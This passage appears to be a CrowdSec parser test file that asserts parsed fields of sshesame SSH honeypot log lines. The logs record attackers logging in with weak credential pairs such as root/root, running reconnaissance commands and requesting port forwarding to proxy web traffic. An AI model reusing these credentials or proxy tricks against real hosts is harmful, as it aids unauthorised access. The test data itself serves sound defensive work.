results["s00-raw"]["crowdsecurity/non-syslog"][226].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][227].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][227].Evt.Parsed["message"] == "2022/05/06 11:47:02 [217.95.152.37:62602] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][227].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][227].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][227].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][228].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][228].Evt.Parsed["message"] == "2022/05/06 11:47:02 [217.95.152.37:62602] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][228].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][228].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][228].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][229].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][229].Evt.Parsed["message"] == "2022/05/06 11:53:48 [45.82.65.44:42736] [channel 29] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.139.25:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][229].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][229].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][229].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][230].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][230].Evt.Parsed["message"] == "2022/05/06 11:53:48 [45.82.65.44:42736] [channel 29] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][230].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][230].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][230].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][231].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][231].Evt.Parsed["message"] == "2022/05/06 11:53:50 [45.82.65.44:42736] [channel 29] closed" results["s00-raw"]["crowdsecurity/non-syslog"][231].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][231].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][231].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][232].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][232].Evt.Parsed["message"] == "2022/05/06 12:11:39 [190.2.139.67:7117] [channel 138] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.142.17:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][232].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][232].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][232].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][233].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][233].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][233].Evt.Parsed["message"] == "2022/05/06 12:11:39 [190.2.139.67:7117] [channel 138] input: \"GET /?requestid=13796 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][233].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][233].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][234].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][234].Evt.Parsed["message"] == "2022/05/06 12:11:39 [190.2.139.67:7117] [channel 138] closed" results["s00-raw"]["crowdsecurity/non-syslog"][234].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][234].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][234].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][235].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][235].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] authentication for user \"root\" with password \"root\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][235].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][235].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][235].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][236].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][236].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] connection with client version \"SSH-2.0-libssh2_1.7.0\" established" results["s00-raw"]["crowdsecurity/non-syslog"][236].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][236].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][236].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][237].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][237].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] [channel 0] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][237].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][237].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][237].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][238].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][238].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] [channel 0] command \"/ip cloud print\" requested" results["s00-raw"]["crowdsecurity/non-syslog"][238].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][238].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][238].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][239].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][239].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][239].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][239].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][239].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][240].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][240].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] [channel 1] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][240].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][240].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][240].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][241].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][241].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][241].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] [channel 1] command \"ifconfig\" requested" results["s00-raw"]["crowdsecurity/non-syslog"][241].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][241].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][242].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][242].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] [channel 1] closed" results["s00-raw"]["crowdsecurity/non-syslog"][242].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][242].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][242].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][243].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][243].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][243].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][243].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][243].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][244].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][244].Evt.Parsed["message"] == "2022/05/06 12:33:29 [154.86.27.24:33448] authentication for user \"sam\" with password \"12345678\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][244].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][244].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][244].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][245].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][245].Evt.Parsed["message"] == "2022/05/06 12:33:29 [154.86.27.24:33448] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][245].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][245].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][245].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][246].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][246].Evt.Parsed["message"] == "2022/05/06 12:33:29 [154.86.27.24:33448] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][246].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][246].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][246].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][247].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][247].Evt.Parsed["message"] == "2022/05/06 12:33:31 [154.86.27.24:34072] authentication for user \"nproc\" with password \"nproc\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][247].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][247].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][247].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][248].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][248].Evt.Parsed["message"] == "2022/05/06 12:33:31 [154.86.27.24:34072] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][248].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][248].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][248].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][249].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][249].Evt.Parsed["message"] == "2022/05/06 12:33:31 [154.86.27.24:34072] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][249].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][249].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][249].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][250].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][250].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] authentication for user \"admin\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][250].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][250].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][250].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][251].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][251].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][251].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][251].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][251].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][252].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][252].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] connection with client version \"SSH-2.0-paramiko_1.16.1\" established" results["s00-raw"]["crowdsecurity/non-syslog"][252].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][252].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][252].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][253].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][253].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][253].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] [channel 0] direct TCP/IP forwarding from 127.0.0.1:4909 to 74.125.205.139:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][253].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][253].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][254].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][254].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][254].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][254].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][254].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][255].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][255].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][255].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][255].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][255].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][256].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][256].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][256].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] [channel 1] direct TCP/IP forwarding from 127.0.0.1:18210 to [2a00:1450:4010:c02::71]:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][256].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][256].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][257].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][257].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][257].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][257].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][257].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][258].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][258].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] [channel 1] closed" results["s00-raw"]["crowdsecurity/non-syslog"][258].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][258].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][258].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][259].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][259].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][259].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][259].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][259].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][260].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][260].Evt.Parsed["message"] == "2022/05/06 12:58:50 [190.2.139.67:7117] [channel 141] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][260].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][260].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][260].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][261].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][261].Evt.Parsed["message"] == "2022/05/06 12:58:50 [190.2.139.67:7117] [channel 141] input: \"GET /?requestid=72371 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][261].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][261].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][261].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][262].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][262].Evt.Parsed["message"] == "2022/05/06 12:58:50 [190.2.139.67:7117] [channel 141] closed" results["s00-raw"]["crowdsecurity/non-syslog"][262].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][262].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][262].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][263].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][263].Evt.Parsed["message"] == "2022/05/06 12:59:04 [45.82.65.44:42736] [channel 30] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.142.25:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][263].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][263].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][263].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][264].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][264].Evt.Parsed["message"] == "2022/05/06 12:59:04 [45.82.65.44:42736] [channel 30] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][264].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][264].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][264].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][265].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][265].Evt.Parsed["message"] == "2022/05/06 12:59:05 [45.82.65.44:42736] [channel 30] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][265].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][265].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][265].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][266].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][266].Evt.Parsed["message"] == "2022/05/06 12:59:36 [45.82.65.44:42736] [channel 30] closed" results["s00-raw"]["crowdsecurity/non-syslog"][266].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][266].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][266].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][267].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][267].Evt.Parsed["message"] == "2022/05/06 13:09:34 [190.2.139.67:58629] [channel 143] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][267].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][267].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][267].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][268].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][268].Evt.Parsed["message"] == "2022/05/06 13:09:34 [190.2.139.67:58629] [channel 143] input: \"GET /?requestid=12627 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][268].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][268].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][268].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][269].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][269].Evt.Parsed["message"] == "2022/05/06 13:09:34 [190.2.139.67:58629] [channel 143] closed" results["s00-raw"]["crowdsecurity/non-syslog"][269].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][269].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][269].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][270].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][270].Evt.Parsed["message"] == "2022/05/06 13:12:20 [190.2.139.67:58629] [channel 145] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.142.17:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][270].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][270].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][270].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][271].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][271].Evt.Parsed["message"] == "2022/05/06 13:12:20 [190.2.139.67:58629] [channel 145] input: \"GET /?requestid=88211 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][271].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][271].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][271].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][272].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][272].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][272].Evt.Parsed["message"] == "2022/05/06 13:12:20 [190.2.139.67:58629] [channel 145] closed" results["s00-raw"]["crowdsecurity/non-syslog"][272].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][272].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][273].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][273].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] authentication for user \"!root\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][273].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][273].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][273].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][274].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][274].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] authentication for user \"!root\" with password \"\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][274].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][274].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][274].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][275].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][275].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] connection with client version \"SSH-2.0-PuTTY_Release_0.64\" established" results["s00-raw"]["crowdsecurity/non-syslog"][275].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][275].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][275].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][276].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][276].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] [channel 0] direct TCP/IP forwarding from 127.0.0.1:21561 to 172.217.21.174:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][276].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][276].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][276].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][277].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][277].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][277].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][277].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][277].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][278].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][278].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][278].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][278].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][278].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][279].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][279].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][279].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] [channel 1] direct TCP/IP forwarding from 127.0.0.1:29429 to [2a00:1450:400f:80a::200e]:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][279].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][279].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][280].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][280].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] [channel 1] input: \"GET / 